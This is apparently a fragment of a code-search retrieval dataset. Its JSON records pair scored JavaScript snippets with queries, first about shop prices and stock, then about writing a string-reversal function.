sp[10];\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn p;\n}", "title": "" }, { "docid": "ee3e774119f588ff3c4c151f72941276", "score": "0.48781678", "text": "function question3() {\n // Answer:\n \n for(let i = 0; i < data.length; i++){\n let name_price_gbp = []\n if(data[i].currency_code === \"GBP\"){\n return data[i].title + \" \" + \"$\" + data[i].price \n }\n }\n}", "title": "" }, { "docid": "5ce61769e31a9f5162e3c7f533361528", "score": "0.48760343", "text": "_find_price (id) {\n let price;\n for(let el of this.data.products) {\n for(let item of el.goods) {\n if (item.id === Number(id)) {\n return parseFloat(item.price)\n }\n }\n }\n }", "title": "" }, { "docid": "83b7e9066ed4157c83d9a4a765a1eae2", "score": "0.4870599", "text": "function createItem(name, price) {\n return {};\n}", "title": "" }, { "docid": "651ff0eed2106211f676c4e2fb0e4abd", "score": "0.48705783", "text": "function beliTermurah(toBuy) {\n\tvar sellers = {\n\t\tBobaFett: {\n\t\t\titems: [\n\t\t\t\t{ name: 'Fett Drink', price: 30000 },\n\t\t\t\t{ name: 'Dragon Boba Juice', price: 40000 },\n\t\t\t\t{ name: 'Star Big Boba', price: 25000 }\n\t\t\t],\n\t\t\tdiscount: 0.15\n\t\t},\n\t\tBobaFest: {\n\t\t\titems: [\n\t\t\t\t{ name: 'Fett Drink', price: 30000 },\n\t\t\t\t{ name: 'Dragon Boba Juice', price: 40000 },\n\t\t\t\t{ name: 'Star Big Boba', price: 25000 }\n\t\t\t],\n\t\t\tdiscount: 0.35\n\t\t},\n\t\tChatTime: {\n\t\t\titems: [\n\t\t\t\t{ name: 'Fett Drink', price: 18000 },\n\t\t\t\t{ name: 'Dragon Boba Juice', price: 24000 },\n\t\t\t\t{ name: 'Star Big Boba', price: 21000 }\n\t\t\t],\n\t\t\tdiscount: 0.1\n\t\t},\n\t\tKokumi: {\n\t\t\titems: [\n\t\t\t\t{ name: 'Fett Drink', price: 32000 },\n\t\t\t\t{ name: 'Dragon Boba Juice', price: 42000 },\n\t\t\t\t{ name: 'Star Big Boba', price: 27000 }\n\t\t\t],\n\t\t\tdiscount: 0.4\n\t\t}\n\t};\n\n\tvar termurah = [];\n \tfor (i = 0; i < toBuy.length; i++) {\n\t\ttermurah.push({\n\t\t\tminuman : toBuy[i],\n\t\t\tharga : 0,\n\t\t\tseller : '',\n\t\t});\n\t\tfor (j in sellers) {\n\t\t\tfor (k = 0; k < sellers[j].items.length; k++) {\n\t\t\t\tif (sellers[j].items[k].name === termurah[i].minuman) {\n\t\t\t\t\tif (termurah[i].harga === 0) {\n\t\t\t\t\t\ttermurah[i].harga = sellers[j].items[k].price - sellers[j].items[k].price * sellers[j].discount;\n\t\t\t\t\t\ttermurah[i].seller = j;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (termurah[i].harga > (sellers[j].items[k].price - sellers[j].items[k].price * sellers[j].discount)) {\n\t\t\t\t\t\ttermurah[i].harga = sellers[j].items[k].price - sellers[j].items[k].price * sellers[j].discount;\n\t\t\t\t\t\ttermurah[i].seller = j;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// return termurah;\n\n\tvar rekomendasi = '';\n\tif (termurah.length) {\n\t\tfor (i = 0; i < termurah.length; i++) {\n\t\t\trekomendasi += `${termurah[i].minuman} bisa dibeli dengan harga paling murah ${termurah[i].harga} di ${termurah[i].seller}. \\n`\n\t\t}\n\t} else {\n\t return 'Pembeli tidak membeli apa-apa.\\n';\n\t}\n\treturn rekomendasi;\n}", "title": "" }, { "docid": "55c7be6072afc212469a3b5d7d027dbf", "score": "0.48697925", "text": "function readStock(data){\n foodS=data.val();\n foodObj.updateFoodStock(foodS);\n}", "title": "" }, { "docid": "55c7be6072afc212469a3b5d7d027dbf", "score": "0.48697925", "text": "function readStock(data){\n foodS=data.val();\n foodObj.updateFoodStock(foodS);\n}", "title": "" }, { "docid": "55c7be6072afc212469a3b5d7d027dbf", "score": "0.48697925", "text": "function readStock(data){\n foodS=data.val();\n foodObj.updateFoodStock(foodS);\n}", "title": "" }, { "docid": "55c7be6072afc212469a3b5d7d027dbf", "score": "0.48697925", "text": "function readStock(data){\n foodS=data.val();\n foodObj.updateFoodStock(foodS);\n}", "title": "" }, { "docid": "ca258b58aea1bb933836487bccdaa6a6", "score": "0.4867233", "text": "refillInventory(newStock) {\n return chocolateBars.map((item) => {\n let updatedSupply = item.supply + newStock;\n if (updatedSupply > 10) updatedSupply = 10;\n\n return {name: item.name, supply: updatedSupply}\n });\n }", "title": "" }, { "docid": "775b1f86c614d4d59f8541789fb97559", "score": "0.48655918", "text": "function dataPrint(data) {\n console.log(\"id #\\tProduct Name\\t\\t\\tPrice\");\n console.log(\"--------------------------------------------------\")\n for (i = 0; i < data.length; i++) {\n var id = data[i].item_id + \"\\t\";\n var name = data[i].product_name;\n if (name.length < 8) name += \"\\t\\t\\t\\t\";\n else if (name.length < 16) name += \"\\t\\t\\t\";\n else if (name.length < 24) name += \"\\t\\t\";\n else name += \"\\t\";\n var price = data[i].price;\n console.log(id + name + price);\n }\n}", "title": "" }, { "docid": "ed1c2ce4ca29fc204af6180f7394497d", "score": "0.4864305", "text": "function ShopItem(title, price) {\n this.title = title;\n this.price = price;\n}", "title": "" }, { "docid": "28d9d76120ff7e4644748d3d177b1f5c", "score": "0.48612082", "text": "function printStocks(symbol) {\n// make the get request\nconst request = https.get(`https://www.quandl.com/api/v3/datatables/WIKI/PRICES.json?ticker=${symbol}&date=${today}&api_key=yourapikeygoeshere`, response => {\n if (response.statusCode === 200) {\n var body = \"\";\n response.on('data', data => {\n body += data.toString();\n });\n\n response.on('end', () => {\n try {\n const stockPrice = JSON.parse(body);\n if (stockPrice.datatable.data.length > 0) {\n const message = `${symbol} stock price closed at ${stockPrice.datatable.data[0][5]}`;\n console.log(message);\n } else { console.log(`Symbol ${symbol} does not exist. Try another one.`) };\n\n }\n\n catch (error) {\n console.error(error.message);\n }\n });\n\n } else {\n console.log(`There has been a ${response.statusCode} error.`);\n }\n\n});\n}", "title": "" }, { "docid": "1ec27174a7506ae7d14672863ee20ae1", "score": "0.4860154", "text": "function StoreItem(id, name, price, qtyOnHand, maxPerCustomer, category, costOfShipping, reviews, description, image, music)\n {\n this.id = id;\n this.name = name;\n this.price = price;\n this.qtyOnHand = qtyOnHand;\n this.maxPerCustomer = maxPerCustomer;\n this.category = category;\n this.costOfShipping = costOfShipping;\n this.reviews = reviews;\n this.description = description;\n this.image = image;\n this.music = music;\n }", "title": "" }, { "docid": "dbf3707aa798b8087d511be4638651fe", "score": "0.48599368", "text": "getFoodStock() {\r\n return this.foodStock;\r\n }", "title": "" }, { "docid": "1312d03c33a6925ebad3033607918f69", "score": "0.48578805", "text": "totlPrice() {\n var count = 0;\n var price = 0;\n var off = 0;\n this.total = 0;\n var stockCount = 0;\n\n\n //count how many items of each we have, and rest it from stock\n for (var y = 0; y < this.items.length; y++) {\n \n count = 0;\n for (var z = 0; z < this.products.length; z++) {\n if (this.items[y].name === this.products[z].name) {\n count++; \n }\n }\n this.items[y].num = count;\n this.items[y].stock -= count;\n }\n \n \n //start calculating the price...\n for (var q = 0; q < this.products.length; q++) {\n this.total = this.total + this.products[q].price;\n }\n \n //every 4 same items, one for free, and 10% discount if do buy more than 4 items\n for (var t = 0; t < this.items.length; t++) {\n off = off + this.items[t].price * (Math.trunc(this.items[t].num / 4));\n if (Math.trunc(this.items[t].num / 4) >= 1) {\n this.products_off.push(\"you have \" + Math.trunc(this.items[t].num / 4) + \" \" + this.items[t].name + \" for free\");\n }\n }\n this.total = this.total - off;\n if (this.products.length > 4) {\n this.total = this.total - (this.total / 10);\n return this.total + \" euros with 10% discount\" + this.products_off;\n } else {\n return this.total + \" euros\";\n }\n\n }", "title": "" }, { "docid": "abf52456a45f940073f0b1e97832b330", "score": "0.48577717", "text": "function formatSalesInfo(salesInfo) {\n return 'You bought '+salesInfo['qty']+' '+salesInfo['name']+' at the rate of ₦'+salesInfo['price']+' for ₦'+salesInfo['total'];\n}", "title": "" } ]
cce3d6c91007e18cd9593a22705a4a4d
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Write a function "reverse" that computes the reversal of a string. Example: reverse("skoob") > "books"
[ { "docid": "7f14302fe8d70571a76cdd7388399083", "score": "0.0", "text": "function reverse (str){\n let reverseditem = \"\";\n for (let char of str){\n reverseditem = char + reverseditem;\n }\n return reverseditem;\n}", "title": "" } ]
[ { "docid": "884b7d9a43e351ceeaba5e696ac780ca", "score": "0.8634733", "text": "function reverse(string) {}", "title": "" }, { "docid": "9117b02f6e9be0bec4c91bd35b7574cd", "score": "0.854726", "text": "function reverse(str) {}", "title": "" }, { "docid": "5d799d14728283803c50b59c535203d4", "score": "0.8409193", "text": "function reverse(str) {\n\n}", "title": "" }, { "docid": "518c60e4b12714050ae14e3b5762268d", "score": "0.8212313", "text": "function stringReverse(string){\n\n \n}", "title": "" }, { "docid": "a4192a0babd11ce13f88db088794032f", "score": "0.82118994", "text": "function reverse(str){\n // YOUR CODE HERE\n}", "title": "" }, { "docid": "d7abd69ddc9a0e620c034b5096196989", "score": "0.8089858", "text": "function revString(inputString){\r\n return inputString.reverse();\r\n}", "title": "" }, { "docid": "37188d034f845b90c2316590b91f5d5a", "score": "0.8070158", "text": "reverse(string) {\n return string.split('').reverse().join('');\n }", "title": "" }, { "docid": "faaf849821d49b1661ecb66e8065d733", "score": "0.80088466", "text": "function reverse(input) {\n\n\n}", "title": "" }, { "docid": "392d65a66d1b0b09585d03662bfd84a0", "score": "0.80080676", "text": "function reverse2(str){\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "73485f7d58178ea2c212755e8eb58793", "score": "0.7999292", "text": "function reverseIt(str)\n{\n // code goes here\n\n return str;\n}", "title": "" }, { "docid": "eb904873d77ac405b5b89d629ea49f7c", "score": "0.79325783", "text": "function rev(str){\n return str.split(\"\").reverse().join(\"\")\n}", "title": "" }, { "docid": "b5bf314c9223f6d081476bd9c3e1696c", "score": "0.79215753", "text": "function reverse(string){\n \"use strict\";\n //...\n\n var stringRev = string.split('').reverse().join('');\n return stringRev\n}", "title": "" }, { "docid": "3c7e465306c284eff16f3deafbcaba2d", "score": "0.7897958", "text": "function reverse2(str) {\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "9c55d26fc8ae16de93fc1b29772f4715", "score": "0.7859688", "text": "function reverse(s) {\n return s.split('').reverse().join('');\n }", "title": "" }, { "docid": "9c55d26fc8ae16de93fc1b29772f4715", "score": "0.7859688", "text": "function reverse(s) {\n return s.split('').reverse().join('');\n }", "title": "" }, { "docid": "e24d5e004412668054990e93cd13983e", "score": "0.7838307", "text": "function reverse(str){\n return str.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "e24d5e004412668054990e93cd13983e", "score": "0.7838307", "text": "function reverse(str){\n return str.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "80731adf25fed31165b8d70b452f474c", "score": "0.78206563", "text": "function reverse(str){\n return str.split('').reverse().join('') \n }", "title": "" }, { "docid": "112ff21d71ee1dc816e5a68bbcf8d9c4", "score": "0.7813033", "text": "function reverse(string){\n return string.split(\"\").reverse().join(\"\")\n}", "title": "" }, { "docid": "162b91427b3eaf90876f7f99e9fefd81", "score": "0.7812423", "text": "function reverseString(s) {\n }", "title": "" }, { "docid": "6fe391ec7308c51eb77f981e7f8331da", "score": "0.78109586", "text": "function reverse(str) {\r\nvar rev = \"\";\r\nfor (var i = (str.length - 1); i >= 0; i--)\r\n\trev = rev + (str[i]);\r\nreturn rev\r\n}", "title": "" }, { "docid": "4384434a17828fdf3cde3339aab157bb", "score": "0.78073543", "text": "function reverse(s) {\n return s.split('').reverse().join('');\n}", "title": "" }, { "docid": "2e7696560635d519a435e5cbb7dc8a5c", "score": "0.78021216", "text": "function reverse(string){\n return string.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "471ba85ecead0a0133cacd97442af779", "score": "0.77811974", "text": "function reverse(s) {\n return s.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "53027cfe03f3f073db56359f27a31bb1", "score": "0.7764847", "text": "function reverse(rev) {\n return rev.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "8c6c09a029035c1536b313fdf2abcc88", "score": "0.77588385", "text": "function reverse(string){\n return string.split('').reverse().join('');\n}", "title": "" }, { "docid": "166c94b263d9052e56657a3e577a4b6c", "score": "0.7753574", "text": "function reverse1(str) {\n if (typeof str !== \"string\") {\n return \"please pass in a valid string to reverse\";\n }\n\n return str.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "36f2cee364ba41cbe6bfc3d3026f2944", "score": "0.7752617", "text": "function reverse(str){\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "be20257509445d8f442372c541c0ccfd", "score": "0.7749128", "text": "function reverse(str) {\n var reversed = \"\";\n var i = str.length;\n while (i>0){\n \treversed += str.substring(i - 1, i);\n \ti--;\n }\n return reversed;\n\n//////DRIVER//////\n}", "title": "" }, { "docid": "aeee38d2e3d98fbad400648ff94bd21b", "score": "0.7748508", "text": "function reverse(revInput) {\n return revInput.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "1aa02c535f24328f89871f07c5d65696", "score": "0.7747448", "text": "function reverse(string) {\n return string.split(\"\").reverse().join(\"\");\n\n}", "title": "" }, { "docid": "307e56688952062f2d9cc16bb40e2769", "score": "0.77457243", "text": "function reverse(s)\n{\n\treturn s.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "6503e6b5c99fbcb08c5310a6ae1917fb", "score": "0.7745306", "text": "function stringReverse(str) {\n\n // code goes here\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "09f9dd54535d0b01398a38ccba20e91b", "score": "0.7734613", "text": "function reverser (string) {\n var output = string.split('').reverse().join('');\n\n\n console.log(output);\n}", "title": "" }, { "docid": "ef5e10973ac5c91f77b6dc4317e757de", "score": "0.7708165", "text": "function reverseStr(str){\n console.log(str.split(\"\").reverse().join(\"\"))\n}", "title": "" }, { "docid": "6f684335f467928507dd6bcc14b7c88e", "score": "0.77043384", "text": "function reverse(str){\n var backward = \"\";\n for(i=str.length-1; i>-1; i--){\n backward += str[i];\n }\n return backward; \n}", "title": "" }, { "docid": "b8b55da5dc2bb40fd4a114f112bfc645", "score": "0.76895887", "text": "function reverse(str){\n\tif (str.length < 2) return str;\n\n\treturn str.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "d2ca83786a819d70ee509238d08d5ac7", "score": "0.767495", "text": "function reverse(str){\n\treturn str.split(\"\").reverse().join(\"\");\n\t}", "title": "" }, { "docid": "86c5bb0bfd3d394b228d9dbdbbe08963", "score": "0.76720154", "text": "function reverse(inputString) {\n return inputString.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "5576df622f351b236130993c73f09422", "score": "0.76641625", "text": "function FirstReverse(str) { \n\n // code goes here \n return str.split('').reverse().join(''); \n \n}", "title": "" }, { "docid": "a8a9deaceeccc2a3c386899fa27016d6", "score": "0.7662888", "text": "function reverse(str) {\n return str.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "27079c846a6889210ad8513962c58249", "score": "0.7661667", "text": "function reverse(str) {\r\n return str.split('').reverse().join('');\r\n}", "title": "" }, { "docid": "4bf0ca5f06dfaaf3ce897a8ad3dffc24", "score": "0.76614624", "text": "function reverse(str){\n if(str.length === 1) return str\n return str[str.length-1] + reverse(str.slice(0, -1)) \n}", "title": "" }, { "docid": "4be5a535f8af43ff4ba5ff2e87e933d4", "score": "0.7656003", "text": "function reverseString(string){\n let reverse = string.split(\"\").reverse().join(\"\")\n console.log(reverse)\n}", "title": "" }, { "docid": "22071164c27066da163ce1923aee4ed3", "score": "0.764718", "text": "function reverseString(string) {\n/*var splitString = string.split(\"\")\nvar reverseArray = splitString.reverse()\nvar joinArray = reverseArray.join(\"\")\nreturn joinArray */\nreturn string.split('').reverse().join(\"\")\n}", "title": "" }, { "docid": "6ff24d06a9440c0612b29bc3f00c4353", "score": "0.7631627", "text": "function rev(str) {\n let result = str.split('').reverse().join('');\n return result;\n}", "title": "" }, { "docid": "ff0f3049c05a18c87489c8b05d3b355d", "score": "0.7628373", "text": "function reverse(str) {\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "ea4bb944c06ce7a8e8c8f9eca2431bda", "score": "0.7623998", "text": "function reverse(str) {\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "54fd37f75313bc9d9bdb7005d2575866", "score": "0.7620501", "text": "function string_reverse(s) {\n\t//str.split(\"\").reverse().join(\"\"); // é possível fazer assim, mas é muito menos eficiente em processamento\n\tfor (var i = s.length - 1, o = ''; i >= 0; o += s[i--]) { }\n\treturn o;\n}", "title": "" }, { "docid": "ed031147f33c202b55e0fba267888501", "score": "0.76162493", "text": "function reverse(str){\n if(!str || str.length < 2) return str;\n\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "901975df49f83d4d09bdef63e71a4348", "score": "0.76087505", "text": "function reverse(str) {\n let result = \"\";\n\n function helper(helperStr) {\n let str_length = helperStr.length;\n if (helperStr.length === 0) return; // base case\n result += helperStr.slice(-1); // store last char\n helper(helperStr.slice(0, str_length - 1)); // recur\n }\n helper(str); // calls helper function\n\n return result;\n}", "title": "" }, { "docid": "31a44295eb6930cd98e4e484f5caa24d", "score": "0.75943184", "text": "function reverse(str){\n\tvar reverse_str = str.split('').reverse('').join('');\n return reverse_str;\n}", "title": "" }, { "docid": "2fb4c7f642190a1557ca2e60c443506b", "score": "0.7588735", "text": "function reverse(reverseString) {\n return reverseString.split('').reverse().join('');\n }", "title": "" }, { "docid": "2f79eac355259ef67d247721bdc0cd5f", "score": "0.758239", "text": "function reverse(s) {\n let o = \"\"\n\n for (let i = s.length - 1; i >= 0; i++) {\n o += s[i]\n return o\n }\n}", "title": "" }, { "docid": "c7cfaa4e9921343db56e597aaf4defdd", "score": "0.7573207", "text": "function reverse(str){\n var new_str='';\n for(var i=str.length-1;i>=0;i--){\n new_str+=str[i];\n }\n return new_str;\n}", "title": "" }, { "docid": "57fc3890bd198577ef5895d6f589db0b", "score": "0.7567365", "text": "function reverse(){\n // add whatever parameters you deem necessary - good luck!\n}", "title": "" }, { "docid": "f1398b11b0343b2d4b019993f8af2e6d", "score": "0.7555385", "text": "function reverseString(str){\n console.log(str.split('').reverse().join(''))\n}", "title": "" }, { "docid": "70c229cc584c5c1106c058b44e69fdab", "score": "0.7550521", "text": "function unoReverse(str){\n console.log( str.split(\"\").reverse().join(\"\") )\n}", "title": "" }, { "docid": "02d1c2f0de95ee3c1955fb764570093d", "score": "0.75495136", "text": "function reverse(string) {\n return string.split('').reverse().join('')\n}", "title": "" }, { "docid": "80531b8b600e08b9ce12f4b508af325a", "score": "0.75438255", "text": "function reverse(string) {\n\tvar splitup = string.split(\"\").reverse().join(\"\");\n\tconsole.log(splitup);\n}", "title": "" }, { "docid": "2d6f6114af2df998622abb874355bcb0", "score": "0.7526025", "text": "function reverse(str) {\n // return str.split(\"\").reverse().join(\"\"); // <- also works\n return [...str].reverse().join(\"\");\n}", "title": "" }, { "docid": "75e9d09a0eb3b23ca14069124c0ee314", "score": "0.7525325", "text": "function reverse(str){\n var rtnStr = '';\n\n for (var i = str.length-1; i >= 0; i--){\n rtnStr += str[i];\n }\n return rtnStr;\n}", "title": "" }, { "docid": "7526a74478d2489fe198af9b35d77a84", "score": "0.75248957", "text": "function reverseString(string) {\n return string.split(\"\").reverse().join(\"\"); //\n}", "title": "" }, { "docid": "b7cde17a6ad80b19d4479a8dabc10fac", "score": "0.75177765", "text": "function reverse(str){\n if (str.length < 2) return str;\n return reverse(str.slice(1)) + str[0];\n}", "title": "" }, { "docid": "161b0fcd54a174ff842a441415571ce3", "score": "0.7513116", "text": "function reverse(string) {\n var x = '';\n for (var i = string.length - 1; i >= 0; i--)\n x += string[i];\n return x;\n}", "title": "" }, { "docid": "65c9941d2c7288d27227334a0c79cf2d", "score": "0.751154", "text": "function reverse(str){\n\tif(str.length <= 1) return str;\n\treturn reverse(str.slice(1)) + str[0];\n}", "title": "" }, { "docid": "fa98e12eebf87ea87f8a0669bb1c33bd", "score": "0.75087523", "text": "function reverseString(input) {\n // YOUR CODE GOES BELOW HERE //\n //1. Create an array containing the input string split into an array using the split method\n //2. Use the reverse() method to reverse the order of the array.\n //3. Use the join method to change the reversed array into a string.\n return input.split(\"\").reverse().join(\"\");\n \n // YOUR CODE GOES ABOVE HERE //\n}", "title": "" }, { "docid": "c6b5518bd0836d59a49746940cb42562", "score": "0.7508409", "text": "function reverse(string){\n return string.split(' ').reverse().join(' ');\n}", "title": "" }, { "docid": "c6b5518bd0836d59a49746940cb42562", "score": "0.7508409", "text": "function reverse(string){\n return string.split(' ').reverse().join(' ');\n}", "title": "" }, { "docid": "201f3c8597c8e67ab8a5f31341ead9c2", "score": "0.7505081", "text": "function reverse(string){\n return string.split(' ').reverse().join(' ');\n}", "title": "" }, { "docid": "201f3c8597c8e67ab8a5f31341ead9c2", "score": "0.7505081", "text": "function reverse(string){\n return string.split(' ').reverse().join(' ');\n}", "title": "" }, { "docid": "b0ba505b0709b8f566e078c7705507a4", "score": "0.7500912", "text": "function reverse(string) {\n return string.split(\"\").reverse().join(\"\");\n }", "title": "" }, { "docid": "2ab23aa7f656f13c59232ae4914847ce", "score": "0.7500163", "text": "function reverse(string) {\r\n\tvar new_string = \"\";\r\n\tfor (var i = string.length-1; i >= 0; i--) {\r\n\t\tnew_string += string[i]\r\n\t}\r\n\treturn new_string\r\n}", "title": "" }, { "docid": "15164e9ff91f8529b578b8dd4acab91e", "score": "0.749987", "text": "function reverseString(s) {\n return s.split('').reverse().join('');\n\n}", "title": "" }, { "docid": "81af8ad9bcd75d56205a5c43810c63a0", "score": "0.7499338", "text": "function str_reverse(str) {\n return str.split('').reverse().join('');\n}", "title": "" }, { "docid": "2db2ab70244fb0422726bf5c36781dd7", "score": "0.7487374", "text": "function reverse(string) {\n\tvar workingString = \"\"\n\tfor (var i = 1; i <= string.length; i++) {\n\tworkingString = workingString + string[string.length - i];\n\t}\n\treturn workingString\n}", "title": "" }, { "docid": "6d326828874eb840ff7e3b9e32afa741", "score": "0.7485015", "text": "function reverse(str) {\n let rev = '';\n for (let i = str.length - 1; i >= 0; i--) {\n rev += str[i];\n }\n return rev;\n}", "title": "" }, { "docid": "98f0376d5142723f6f540c16263cc32e", "score": "0.74836534", "text": "function reverse(phrase){\n return phrase.split('').reverse().join('');\n}", "title": "" }, { "docid": "a188dc96d3f87ad0243edbe24a110f64", "score": "0.7482659", "text": "function reverse(str) {\n return str.length > 0 ? reverse(str.slice(1)) + str.slice(0, 1) : \"\";\n}", "title": "" }, { "docid": "015a09bb6db18c52fe1e683f27f5b5c9", "score": "0.74826044", "text": "function reverseString(str) {\n // FILL THIS IN\n }", "title": "" }, { "docid": "591acf25e6a9e4da545a409a223b5566", "score": "0.74799615", "text": "function reverseString(input) {\n // YOUR CODE GOES BELOW HERE //\n var newStr = ''\n for (var i = input.length - 1; i > -1; i--) {\n newStr += input[i]\n }\n return newStr\n \n \n // YOUR CODE GOES ABOVE HERE //\n}", "title": "" }, { "docid": "8e03f567433cd1c14a8ac77c2cbfc04f", "score": "0.74763954", "text": "function reverse() {\n //\n}", "title": "" }, { "docid": "bbb1b171bf6385596585feb8f0777737", "score": "0.7458688", "text": "function reverse(string){\n// // Turn 'string' into array.\n// const arr = string.split('');\n// // Call 'reverse' method on the array.\n// arr.reverse();\n// // Join and return the array back into a string.\n// return arr.join('');\n// }\n\n//Alternative Method;\n\n// Create an empty string called 'reversed'\n// let reversed = '';\n// // for each character in the provided string.\n// for(let character of string) {\n// // Take the character and add it to the start of 'reversed'\n// reversed = character + reversed;\n// }\n// // Return the variable 'reversed'\n// return reversed;\n\nreturn string.split('').reduce((rev, char) => char + rev, '');\n}", "title": "" }, { "docid": "ba5a5b01a6b0f6c24b34a6ff391cb0cf", "score": "0.7455446", "text": "function reverse (string){\n var splitString = string.split(\"\");\n var reverseString = splitString.reverse();\n var joinString = reverseString.join(\"\");\n\nreturn joinString\n\n}", "title": "" }, { "docid": "70d47d431426ffa65bde4d30fed06931", "score": "0.7446251", "text": "function reverse(){\n \n var name= \"gixmo\"\n \n var Reverse= name.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "f43e85469f3dee251574fe223276b7d7", "score": "0.74386764", "text": "function reverse(str) {\n //check input\n if (!str || str.length < 2 || typeof str !== \"string\") {\n return \"hmmm that is not good\";\n }\n\n // convert into an array\n const backwards = [];\n const totalItems = str.length - 1;\n for (let i = totalItems; i >= 0; i--) {\n backwards.push(str[i]);\n }\n\n console.log(backwards.join(\"\"));\n return backwards.join(\"\");\n}", "title": "" }, { "docid": "cf992013ceb87bf55c2d10407274a7d5", "score": "0.74301404", "text": "function funcReverse(str){\nlet result = \"\";\n\nfor(let i = str.length -1 ; i >= 0;i--){\nresult += str[i];\n}\nreturn result;\n\n}", "title": "" }, { "docid": "8041d61e99d29cf6063d01dec7cda1e8", "score": "0.7426345", "text": "function reverse(str){\n var newStr = '';\n for (var i = str.length-1; i >= 0; i -= 1) {\n newStr += str[i];\n }\n return newStr\n}", "title": "" }, { "docid": "ebc96a4698e395738d132f4bde5ae3a6", "score": "0.7422091", "text": "function reverse(myString){\n \"use strict\";\n var reversedString = \"\";\n\n if(arguments.length === 0) {\n throw \"No arguments were passed to the function.\";\n } else if(arguments.length > 1) {\n throw \"More than one argument was passed to the function.\";\n }\n\n if(!_.isString(myString)) {\n throw \"The argument is not a string.\";\n }\n\n for(var i = (myString.length-1); i >= 0; i--) {\n reversedString += myString[i]; \n }\n\n return reversedString;\n \n}", "title": "" }, { "docid": "387932233035445d69c4711929630cc8", "score": "0.7420813", "text": "function reverseInPlace(str){\n return str.split(' ').reverse().join(' ').split('').reverse().join('');\n}", "title": "" }, { "docid": "4d25367ed42643f802a7860bb1ae6ef5", "score": "0.74188143", "text": "function reverse(str)\n{\n var arr = str.split(\"\");\n arr = arr.reverse();\n str = arr.join(\"\");\n return str;\n}", "title": "" }, { "docid": "f3244a40579092aff56c56f6836fd132", "score": "0.7411987", "text": "function reverse(str) {\n return str\n .split(\"\")\n .reverse()\n .join(\"\");\n}", "title": "" }, { "docid": "f69fa3c1326d5f30592107c05eca692e", "score": "0.74079305", "text": "function reverse(str){\n\tif(!str || str.length < 2 || typeof str !== 'string'){\n\t\treturn undefined;\n\t}\n\tlet reversed = '';\n\tfor(let i=str.length-1; i >= 0; i--){\n\t\treversed += str[i];\n\t}\n\treturn reversed;\n}", "title": "" }, { "docid": "f1b17111719ff848e786bc5b1235662e", "score": "0.74042964", "text": "function reverse( string ) {\n\t\n\tvar my_string = \"\";\n\n\tfor(var i=string.length-1; i>=0; i--)\n\t{\n\t\tmy_string = my_string + string[i];\n\t}\n\n\treturn my_string;\n}", "title": "" }, { "docid": "fa226bb8e1cf776a7ad6f0672f6f246a", "score": "0.7402966", "text": "function reverseString(str) {\n\n return str.split('').reverse().join('')\n\n \n}", "title": "" }, { "docid": "de8789bc89e1cdda75e5602795fa0be2", "score": "0.7400599", "text": "function reverseS(string) {\n return string.split('').reverse().join('');\n}", "title": "" }, { "docid": "1fa16c33bb23abd5b5d84dc2d7f03d8b", "score": "0.7398197", "text": "function reverse(str) {\r\n var new_str = \"\"\r\n for(i = str.length - 1; i >= 0; i--) {\r\n new_str += str[i]\r\n }\r\n return new_str\r\n}", "title": "" }, { "docid": "064139f7ec250a364ccb75eeabcdc726", "score": "0.7397516", "text": "function reverse(stuff) {\r\nvar string = stuff;\r\nvar length = string.length;\r\nvar reversed = \"\";\r\nfor (var i = length; i > 0; i-=1){\r\n\t(reversed += string[i-1]);}\r\n\treturn reversed;\r\n}", "title": "" }, { "docid": "188c506b259de97b111026eb14fe396a", "score": "0.7394734", "text": "function reverse(str) {\n if (str.length <= 1) return str;\n return reverse(str.slice(1)) + str[0];\n}", "title": "" }, { "docid": "d652cbe87e7c82a9c9bf41d144d49403", "score": "0.73860335", "text": "function reverseString(s) {\n return s.split(\"\").reverse().join(\"\");\n}", "title": "" }, { "docid": "0d18bde01610c4114477b5050a409c11", "score": "0.7385717", "text": "function reverse(string) {\n var newStr = \"\";\n for (var i = string.length -1; i >= 0; i--) {\n newStr += string[i];\n }\n return newStr;\n}", "title": "" } ]
5ab1509319544811d430af7aa2b86b42
======================================================================== Major function ======================================================================== / ==== function to init this page ===
[ { "docid": "8d1348a292509bda7b5ad0d43890f498", "score": "0.0", "text": "function initialPages($) {\n\t\tnewFormSubmit();\n\t\tmodifyFormSubmit();\n\t\tclickCloseBtn();\n\t}", "title": "" } ]
